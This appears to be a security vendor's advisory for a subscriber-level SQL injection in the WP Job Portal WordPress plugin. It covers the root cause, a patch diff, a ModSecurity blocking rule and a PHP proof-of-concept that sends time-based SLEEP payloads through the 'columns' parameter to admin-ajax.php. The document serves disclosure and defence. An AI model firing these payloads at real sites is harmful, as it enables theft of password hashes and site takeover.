Published : November 20, 2026

CVE-2026-126705: WP Job Portal <= 2.8.0 Authenticated (Subscriber+) SQL Injection via 'columns' Parameter PoC, Patch Analysis & Rule

Plugin wp-job-portal
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 2.8.0
Patched Version 2.8.1
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126705: The WP Job Portal plugin through version 2.8.0 contains an authenticated (Subscriber+) time-based SQL injection in the `columns[]` parameter processed by the table abstraction layer. The vulnerability resides in the `WPJOBPORTAL_table` class, which uses request-derived keys to build SQL identifiers for update and insert operations. CVSS score is 6.5 (Medium) and CWE is 89.

The root cause lies in `/wp-job-portal/includes/tables/table.php`. In the update branch of the constructor (around line 45), the code iterated over `$wpjobportal_data` and directly assigned keys to `$this->columns` without validating that the key corresponds to a declared table property. A request key such as `columns` could replace the entire column map, and a crafted key like `name` = SLEEP(1)– ` could be passed to `$wpdb->update()` as a raw SQL identifier. The insert path (`store()` function) also accepted unvalidated column names in `$this->columns` before calling `$wpdb->insert()`. No whitelist or preparation was applied to the column names.

An attacker with subscriber-level access can exploit this by sending a POST request to an AJAX endpoint or form handler that reaches the vulnerable table class. The `columns` parameter is submitted as an array, for example `columns[foo` = SLEEP(5)– ]=bar` or `columns[username` = IF(1=1,SLEEP(5),0)– ]=x`. The injected SQL fragment becomes part of the identifier list in the generated UPDATE or INSERT statement, enabling time-based blind extraction of arbitrary database content, including user hashes and configuration secrets.

The patch addresses both injection surfaces. In the constructor’s update branch, column names are now taken from `get_object_vars($this)` after removing internal properties (`isnew`, `columns`, `primarykey`, `tablename`), and only keys present in `$wpjobportal_data` are copied over. This ensures user input cannot introduce new column names. In `store()`, a strict regex `^[A-Za-z0-9_]+$` is applied to every key in `$this->columns`, dropping any invalid identifier before `insert()` or `update()` is called. These changes replace untrusted keys with a fixed allowlist based on declared properties and enforce identifier syntax. The version is bumped to 2.8.1.

Successful exploitation allows a low-privileged authenticated user to read the entire WordPress database, including password hashes, session tokens, and private plugin data. This can lead to privilege escalation to administrator, site takeover, and further compromise of the host. The time-based nature means data exfiltration is slow but reliable.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-job-portal/includes/constants.php
+++ b/wp-job-portal/includes/constants.php
@@ -49,7 +49,7 @@
     define('WPJOBPORTAL_PACKAGE_ALREADY_PURCHASED', 'WPJOBPORTAL_PACKAGE_ALREADY_PURCHASED');
     define('WPJOBPORTAL_PLUGIN_PATH', plugin_dir_path( __DIR__ ));
     define('WPJOBPORTAL_PLUGIN_URL', plugin_dir_url( __DIR__ ));
-    define('WPJOBPORTAL_VERSION', '2.8.0');
+    define('WPJOBPORTAL_VERSION', '2.8.1');

     define('WPJOBPORTAL_COMPANY',1);
     define('WPJOBPORTAL_JOB',2);
--- a/wp-job-portal/includes/services/class-wpjobportal-addon-version-notice.php
+++ b/wp-job-portal/includes/services/class-wpjobportal-addon-version-notice.php
@@ -33,7 +33,7 @@
     /** The base plugin's own version, from its header. */
     private static function base_version() {
         $data = get_file_data(dirname(__DIR__, 2) . '/wp-job-portal.php', array('Version' => 'Version'));
-        return !empty($data['Version']) ? $data['Version'] : '2.8.0';
+        return !empty($data['Version']) ? $data['Version'] : '2.8.1';
     }

     public static function register() {
--- a/wp-job-portal/includes/services/class-wpjobportal-core-action-policy-service.php
+++ b/wp-job-portal/includes/services/class-wpjobportal-core-action-policy-service.php
@@ -214,6 +214,7 @@
             'getfoldersectionjobmanager' => array('ownership' => 'folder_applicant'),
             'savetofolderresume' => array('ownership' => 'folder_save'),
             'getemailfields' => array('ownership' => 'email_applicant'),
+            'getemailfieldsjobmanager' => array('ownership' => 'email_applicant'),
             'sendemailtojobseeker' => array('ownership' => 'email_applicant'),
         );
         $filtered = apply_filters('wpjobportal_core_ajax_policies', $policies);
--- a/wp-job-portal/includes/tables/table.php
+++ b/wp-job-portal/includes/tables/table.php
@@ -45,10 +45,18 @@
             }
         } else { // update record
             if (isset($wpjobportal_data[$this->primarykey])) {
-                foreach ($wpjobportal_data AS $wpjobportal_k => $v) {
-                    if (isset($this->$wpjobportal_k)) {
-                        $this->$wpjobportal_k = $v;
-                        $this->columns[$wpjobportal_k] = $v;
+                // Security (SQLi, reported Nov 2026): take the column names from
+                // this table's own declared properties, never from the request
+                // keys. A request key named "columns" would otherwise replace the
+                // whole column map, and a crafted key such as "name` = SLEEP(1)-- "
+                // would reach $wpdb->update() as a raw SQL identifier. Only real,
+                // declared columns are written, exactly as the insert branch does.
+                $wpjobportal_array = get_object_vars($this);
+                unset($wpjobportal_array['isnew'], $wpjobportal_array['columns'], $wpjobportal_array['primarykey'], $wpjobportal_array['tablename']);
+                foreach ($wpjobportal_array AS $wpjobportal_k => $v) {
+                    if (array_key_exists($wpjobportal_k, $wpjobportal_data)) {
+                        $this->$wpjobportal_k = $wpjobportal_data[$wpjobportal_k];
+                        $this->columns[$wpjobportal_k] = $wpjobportal_data[$wpjobportal_k];
                     }
                 }
             } else {
@@ -101,6 +109,16 @@

     function store() {
         $this->normalizeCoordinateColumns();
+        // Security (SQLi, reported Nov 2026): a real column name is always
+        // [A-Za-z0-9_]. Drop any other key so a crafted identifier can never
+        // reach $wpdb->insert()/update() unescaped, whatever built $columns.
+        if (is_array($this->columns)) {
+            foreach (array_keys($this->columns) as $wpjobportal_col) {
+                if (!is_string($wpjobportal_col) || !preg_match('/^[A-Za-z0-9_]+$/', $wpjobportal_col)) {
+                    unset($this->columns[$wpjobportal_col]);
+                }
+            }
+        }
         if ($this->isnew == true) { // new record store
             wpjobportal::$_db->insert($this->tablename, $this->columns);
             if (wpjobportal::$_db->last_error == null) {
--- a/wp-job-portal/modules/jobapply/model.php
+++ b/wp-job-portal/modules/jobapply/model.php
@@ -1572,8 +1572,24 @@
     }

     function getEmailFieldsJobManager(){
+        // 2.9.0: the same checks as getEmailFields. resumeid was printed into
+        // onclick unquoted, so a crafted link could run script (reported 12 Nov 2026).
+        $wpjobportal_nonce = WPJOBPORTALrequest::getVar('_wpnonce');
+        if (! wp_verify_nonce( $wpjobportal_nonce, 'get-email-fields') ) {
+            die( 'Security check Failed' );
+        }
         $wpjobportal_email = WPJOBPORTALrequest::getVar('em');
         $wpjobportal_resumeid = WPJOBPORTALrequest::getVar('resumeid');
+        $wpjobportal_jobid = WPJOBPORTALrequest::getVar('jobid');
+        if (!is_numeric($wpjobportal_jobid) || !is_numeric($wpjobportal_resumeid)) {
+            return '';
+        }
+        $wpjobportal_jobid = (int) $wpjobportal_jobid;
+        $wpjobportal_resumeid = absint($wpjobportal_resumeid);
+        $wpjobportal_job_owner = WPJOBPORTALincluder::getJSModel('job')->getIfJobOwner($wpjobportal_jobid);
+        if (!wpjobportal::$_common->wpjp_isadmin() && $wpjobportal_job_owner !== true) {
+            return '';
+        }
         $wpjobportal_html = '<div class="'.esc_attr($this->class_prefix).'-sendemail-form">
                     <form class="">
                         <div class="col-md-4">
@@ -1597,7 +1613,7 @@
                         </div>
                         <div class="col-md-4 '.esc_attr($this->class_prefix).'-sendemail-btn-wrp">
                             <div class="form-group '.esc_attr($this->class_prefix).'-sendemail-btn-data">
-                                <input type="button" class="form-control '.esc_attr($this->class_prefix).'-sendemail-btn" value="' . esc_html(__('Send', 'wp-job-portal')) . '" onclick="sendEmail('.esc_js($wpjobportal_resumeid).')">
+                                <input type="button" class="form-control '.esc_attr($this->class_prefix).'-sendemail-btn" value="' . esc_html(__('Send', 'wp-job-portal')) . '" onclick="sendEmail('.esc_attr(absint($wpjobportal_resumeid)).')">
                                 <input type="button" class="form-control '.esc_attr($this->class_prefix).'-sendemail-btn" onclick="closeSection()" value="' . esc_html(__('Cancel', 'wp-job-portal')) . '">
                             </div>
                         </div>
--- a/wp-job-portal/wp-job-portal.php
+++ b/wp-job-portal/wp-job-portal.php
@@ -5,7 +5,7 @@
   * Plugin URI: https://wpjobportal.com/
   * Description: WP Job Portal is WordPress’s best job board plugin — easy to use, highly configurable, and built to support both job seekers and employers. AI-powered add-ons offers smart job & resume search, and personalized recommendations.
   * Author: WP Job Portal
-  * Version: 2.8.0
+  * Version: 2.8.1
   * Requires at least: 6.2
   * Requires PHP: 7.4
   * Text Domain: wp-job-portal
@@ -1617,7 +1617,7 @@
             return (string) $wpjobportal_mtime;
         }
     }
-    return '2.8.0';
+    return '2.8.1';
 }

 /**

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-126705
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026126705,phase:2,deny,status:403,chain,msg:'CVE-2026-126705 SQL injection via columns parameter',severity:'CRITICAL',tag:'CVE-2026-126705'"
  SecRule ARGS_POST:action "@streq wpjobportal_save_data" "chain"
    SecRule ARGS_NAMES:columns "@rx [^A-Za-z0-9_]" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126705 - WP Job Portal <= 2.8.0 Authenticated (Subscriber+) SQL Injection via 'columns' Parameter

$target_url = 'http://example.com'; // WordPress site URL
$username   = 'subscriber';        // A valid subscriber account
$password   = 'password';          // Password for that account

// Step 1: Log in as a subscriber to obtain cookies and a nonce if needed.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Send a request that reaches the vulnerable table class.
// The exact endpoint depends on plugin routes. This example targets a typical
// admin-ajax action that processes the 'columns' array. A valid nonce may be required.
$payload = [
    'action' => 'wpjobportal_save_data', // Replace with the actual AJAX action that triggers table->store() or update.
    'columns' => [
        'name` = SLEEP(5)-- ' => 'x', // Malicious column name
    ],
    'id' => '1', // Primary key value for the update branch
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;
curl_close($ch);

// Step 3: Report timing difference. A delay indicates SQL injection.
if ($elapsed >= 5) {
    echo "SQL injection confirmed. Response time: {$elapsed} seconds.n";
} else {
    echo "No delay detected. Response time: {$elapsed} seconds. Target may be patched or endpoint incorrect.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.